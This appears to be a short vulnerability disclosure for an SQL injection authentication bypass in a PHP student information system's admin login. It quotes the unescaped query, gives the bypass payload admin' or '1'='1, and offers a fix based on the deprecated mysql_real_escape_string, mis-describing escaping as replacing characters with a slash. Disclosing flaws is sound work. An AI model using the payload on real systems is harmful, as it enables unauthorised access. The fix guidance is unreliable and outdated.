558ab1fc67
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68 lines
No EOL
2 KiB
Text
Executable file
68 lines
No EOL
2 KiB
Text
Executable file
# Exploit Title............... Student Information System (SIS) Auth Bypass
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# Google Dork................. N/A
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# Date........................ 14/10/2016
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# Exploit Author.............. lahilote
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# Vendor Homepage............. http://www.sourcecodester.com/php/10902/student-information-system-sis.html
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# Software Link............... http://www.sourcecodester.com/sites/default/files/download/Bwire%20Charles/ucc.zip
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# Version..................... 0.1
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# Tested on................... xampp
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# CVE......................... N/A
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The audit_list in ucc/admin_login.php
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-------------------------------------
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----snip----
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error_reporting(E_ALL ^ E_DEPRECATED);
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if(isset($_POST['submit'])) {
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include 'database_config2.php';
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$myusername = $_POST['username'];
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$mypassword = $_POST['password'];
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$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
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$result = mysql_query($query);
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$count = mysql_num_rows($result);
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mysql_close();
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----snip----
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You can login with username and password: admin' or '1'='1
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How to fix
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----------
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One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
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It causes that every of this characters \x00, \n, \r, \, '
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get's replaced with a simple Backslash „/“, so the attackers commands become useless.
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Example:
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error_reporting(E_ALL ^ E_DEPRECATED);
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if(isset($_POST['submit'])) {
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include 'database_config2.php';
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$myusername = mysql_real_escape_string($_POST['username']);
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$mypassword = mysql_real_escape_string($_POST['password']);
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$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
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$result = mysql_query($query);
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$count = mysql_num_rows($result);
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mysql_close();
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Credits
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-------
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This vulnerability was discovered and researched by lahilote
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References
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http://www.sourcecodester.com/php/10902/student-information-system-sis.html
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http://php.net/manual/en/function.mysql-real-escape-string.php |